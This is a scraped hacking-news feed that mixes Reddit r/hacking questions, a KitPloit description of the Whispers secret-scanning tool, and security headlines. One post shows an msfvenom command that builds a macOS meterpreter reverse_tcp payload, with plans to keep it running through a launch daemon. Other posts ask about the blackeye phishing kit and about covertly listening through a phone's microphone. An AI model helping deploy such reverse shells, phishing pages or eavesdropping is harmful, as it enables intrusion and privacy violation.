hacking: security in practice
Is it possible to break into a locked phone without deleting its data?

Say my phone is stolen, is it possible for a thief to get into my phone and read my messages and notes etc..? Just a regular thief/hacker with a regular pc/laptop (not a state level professional)

Would like to know for both androind and iPhones

submitted by /u/guykehat
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Mac OS reverse shell terminal application always open?

So I created a OS X/x64/meterpreter/reverse_tcp msfvenom payload using

Msfvenom -p “payload” lhost lport -f macho > macho.out

I got it on my Mac and had to use chmod +x “payload” to make it runnable and when I run it everything works but the terminal window I used to run it is open and you can’t close Terminal anyway around this. Also I plan on making a launch daemon for it will the terminal window be open when it runs as well?

submitted by /u/alotofquestionsforyk
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Zero-day affecting Windows 11, Windows 10, and Windows Server lets anyone gain administrator privileges

https://external-preview.redd.it/8Dy7jLLK0NAKeGXJjsWTAilOSzg0EAwVqgqPL_AA684.jpg?width=640&crop=smart&auto=webp&s=e467d3d37c00208901a29dc6668cfde9b6d7cf7a submitted by /u/fatrat957
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Having trouble with blackeye

Ive done everything correctly, however its blank next to where the link is supposed to be.

Im pretty sure I have ngrok installed correctly, as well as php.

Im using ubuntu and I am very new to this.

submitted by /u/GhostxKitten
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Microphone?

So I don't even know if this is the right place to ask this but how would one have his mic on his phone on and listen to what it takes up in a pair of wireless headphones while the phone is in another room?

I understand if I can't get an answer as I might do things I'm not allowed to do but would appreciate an answer of some kind at least.

submitted by /u/PacEffect
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Whispers - Identify Hardcoded Secrets In Static Structured Text
http://www.kitploit.com/2021/11/whispers-identify-hardcoded-secrets-in.html

___________________________
@hacking_Attack
@Hacking_Video

"My little birds are everywhere, even in the North, they whisper to me the strangest stories." - Lord VarysWhispers is a static code analysis (https://www.kitploit.com/search/label/Static%20Code%20Analysis) tool designed for parsing various common data formats in search of hardcoded credentials (https://www.kitploit.com/search/label/Hardcoded%20Credentials) and dangerous functions. Whispers can run in the CLI or you can integrate it in your CI/CD pipeline.
Detects
PasswordsAPI tokensAWS keysPrivate keysHashed credentialsAuthentication tokensDangerous functionsSensitive files
Supported Formats
Whispers is intended to be a structured text parser, not a code parser.The following commonly used formats are currently supported:YAMLJSONXML.npmrc.pypirc.htpasswd.propertiespip.confconf / iniDockerfileDockercfgShell scriptsPython3Python3 files are parsed as ASTs because of native language support.
Declaration & Assignment Formats
The following language files are parsed as text, and checked for common variable declaration and assignment patterns:JavaScriptJavaGoPHP
Special Formats
AWS credentials (https://www.kitploit.com/search/label/Credentials) filesJDBC connection stringsJenkins config filesSpringFramework Beans config filesJava Properties filesDockercfg private registry auth filesGithub tokens
Installation

From PyPI
pip3 install whispers

From GitHub
git clone https://github.com/Skyscanner/whispers
cd whispers
make install

Usage

CLI
whispers --help
whispers --info
whispers source/code/fileOrDir
whispers --config config.yml source/code/fileOrDir
whispers --output /tmp/secrets.yml source/code/fileOrDir
whispers --rules aws-id,aws-secret source/code/fileOrDir
whispers --severity BLOCKER,CRITICAL source/code/fileOrDir
whispers --exitcode 7 source/code/fileOrDir

Python
from whispers.cli import parse_args
from whispers.core import run

src = "tests/fixtures"
configfile = "whispers/config.yml"
args = parse_args(["-c", configfile, src])
for secret in run(args):
print(secret)
Config
There are several configuration options available in Whispers. It’s possible to include/exclude results based on file path, key, or value. File path specifications are interpreted as globs. Keys and values accept regular expressions (https://www.kitploit.com/search/label/Regular%20Expressions) and several other parameters. There is a default configuration file built-in that will be used if you don't provide a custom one.config.yml should have the following structure:include:
files:
- "**/*.yml"

exclude:
files:
- "**/test/**/*"
- "**/tests/**/*"
keys:
- ^foo
values:
- bar$

rules:
starks:
message: Whispers from the North
severity: CRITICAL
value:
regex: (Aria|Ned) Stark
ignorecase: TrueThe fastest way to tweak detection (ie: remove false positives and unwanted results) is to copy the default config.yml (https://github.com/Skyscanner/whispers/blob/master/whispers/config.yml) into a new file, adapt it, and pass it as an argument to Whispers.whispers --config config.yml --rules starks src/file/or/dir
Custom Rules
Rules specify the actual things that should be pulled out from key-value pairs. There are several common ones that come built-in, such as AWS keys and passwords, but the tool is made to be easily expandable with new rules.Custom rules can be defined in the main config file under rules:Custom rules can be added to whispers/rules (https://github.com/Skyscanner/whispers/blob/master/whispers/rules)rule-id: # unique rule name
description: Values formatted like AWS Session Token
message: AWS Session Token # report will show this message
severity: BLOCKER # one of BLOCKER, CRITICAL, MAJOR, MINOR, INFO

key: # specify key format
regex: (aws.?session.?token)?
ignorecase: True # case-insensitive matching

value: # specify value format
regex: ^(?=.*[a-z])(?=.*[A-Z])[A-Za-z0-9\+\/]{270,450}$
ignorecase: False # case-sensitive matching

___________________________
@hacking_Attack
@Hacking_Video

minlen: 270 # value is at least this long
isBase64: True # value is base64-encoded
isAscii: False # value is binary data when decoded
isUri: False # value is not formatted like a URI

similar: 0.35 # maximum allowed similarity between key and value
# (1.0 being exactly the same)
Plugins
All parsing functionality is implemented via plugins. Each plugin implements a class with the pairs() method that runs through files and returns the key-value pairs to be checked with rules.class PluginName:
def pairs(self, file):
yield "key", "value"

Download Whispers (https://github.com/Skyscanner/whispers)

___________________________
@hacking_Attack
@Hacking_Video

Is there more money in mobile application pentesting?
https://www.reddit.com/r/Pentesting/comments/r0kzuo/is_there_more_money_in_mobile_application/

submitted by /u/Solid_Secret594 (https://www.reddit.com/user/Solid_Secret594)
[link] (https://www.reddit.com/r/Pentesting/comments/r0kzuo/is_there_more_money_in_mobile_application/) [comments] (https://www.reddit.com/r/Pentesting/comments/r0kzuo/is_there_more_money_in_mobile_application/)

___________________________
@hacking_Attack
@Hacking_Video

Nmap nedir?Nasıl kullanılır?
https://mirabbasagalarov.medium.com/nmap-nedir-nas%C4%B1l-kullan%C4%B1l%C4%B1r-9fb43e9a5e09?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Nmap nedir?Continue reading on Medium » (https://mirabbasagalarov.medium.com/nmap-nedir-nas%C4%B1l-kullan%C4%B1l%C4%B1r-9fb43e9a5e09?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Whispers - Identify Hardcoded Secrets In Static Structured Text

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Holiday Scams Drive SMS Phishing Attacks

Attackers typically target consumers with malicious text messages containing obfuscated links, but experts say businesses are threatened as well.

Dark Reading: Attacks/Breaches
Apple Sues NSO Group for Spyware Use

The company seeks to hold Israeli firm NSO Group liable for the targeting of Apple users and requests a permanent injunction to ban its use of Apple products and services.

Hacking on Medium
Computer Hacking Began with a Cereal Box Toy

https://cdn-images-1.medium.com/max/600/1*kHd3lcqlCuT-yiwjYSMF6w.jpeg
How People Exploited The Network Before The Network

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video